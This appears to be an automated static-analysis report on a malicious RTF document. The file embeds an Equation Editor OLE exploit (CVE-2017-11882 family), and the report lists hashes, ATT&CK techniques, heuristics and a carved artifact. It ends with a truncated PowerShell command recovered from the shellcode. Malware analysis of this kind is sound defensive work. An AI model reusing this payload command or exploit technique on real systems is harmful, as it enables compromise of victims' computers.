Malicious RTF — malware analysis report

Static analysis result for SHA-256 e7b9954b121c629a…

MALICIOUS

RTF

8.0 KB First seen: 2020-12-28
MD5: dcdb2d234fda99c104124b8811fb3956 SHA-1: 95f71e92f5d70677633c2ed179c3b8387494c3a9 SHA-256: e7b9954b121c629ac0a583bf09173689395398c5f0914d9deefa8f5b5f4da32a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000001c9.bin rtf-objdata-decoded RTF \objdata at offset 0x1C9 3590 bytes
SHA-256: 00e2e581fe33aa134ce013bf18c4caa4c19683a3f2c3a877706c8da2e290454d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE